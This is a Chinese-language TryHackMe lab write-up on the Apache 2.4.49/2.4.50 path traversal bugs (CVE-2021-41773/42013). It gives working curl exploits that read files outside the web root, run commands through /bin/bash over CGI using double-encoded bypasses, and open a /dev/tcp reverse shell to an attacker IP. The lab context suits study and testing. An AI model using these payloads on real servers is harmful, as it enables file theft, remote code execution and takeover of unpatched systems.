CVE-2021-41773/42013
对 Apache 路径遍历错误的简短解释和不完整的修复
介绍
tryhackme:
在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。如果文档根目录之外的文件不受“要求全部拒绝”的保护,则这些请求可以成功。此外(原文如此)此缺陷可能会泄露 CGI 脚本等解释文件的来源。众所周知,这个问题在野外被利用。此问题仅影响 Apache 2.4.49,而不影响早期版本。
仅仅 2 天后,即 10月 7 日,一个新的 CVE 发布,引用了之前的 CVE。这个提到早期路径遍历攻击的修复是不完整的,如果相关路径使用别名指令将其 URL 映射到文件系统,我们仍然可以遍历。CVE 已分配编号 CVE-2021-42013
Apache 服务器中路径规范化模块的最新更改允许特制 URL 绕过过滤器并遍历文档根目录之外,从而允许在配置允许的情况下在系统上读取任意文件。此外,如果启用了CGI模块,那么也可以执行任意文件!
实践测试
每个服务器的根目录中都有一个名为 的标志。你的任务是找到它们。flag.txt
作为奖励目标,尝试在启用 cgi 的服务器上获取实际的 shell。端口 8083 上的服务器也隐藏了根标志。
没有CGI的Apache 2.4.49利用
常规给../一层urlencode就可以
┌──(root🐦kali)-[/home/sugobet]
└─# curl -v http://10.10.230.243:8080/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/flag.txt
带有CGI的Apache 2.4.49利用
开启了cgi模块则跑去调用/bin/bash执行命令
┌──(root🐦kali)-[/home/sugobet]
└─# curl -v http://10.10.230.243:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/bash -X POST -H 'Content-Type: text/plain' -d 'echo Content-Type:text/plain; echo;cat /flag.txt'
没有CGI的Apache 2.4.50利用
这里直接对%2e的2e进行url编码就能绕过
┌──(root🐦kali)-[/home/sugobet]
└─# curl -v http://10.10.230.243:8082/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag.txt
带有CGI的Apache 2.4.50利用
跟2.4.49一样,只不过需要对2e进行urlencode
┌──(root🐦kali)-[/home/sugobet]
└─# curl -v http://10.10.230.243:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash -X POST -H 'Content-Type: text/plain' -d 'echo Content-Type:text/plain; echo;cat /flag.txt'
Reverse Shell
payload:
┌──(root🐦kali)-[/home/sugobet]
└─# curl -v http://10.10.230.243:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash -X POST -H 'Content-Type: text/plain' -d 'echo Content-Type:text/plain; echo;/bin/bash -i >& /dev/tcp/10.14.39.48/8888 0>&1'
题目已给出root的密码,root.txt还在老地方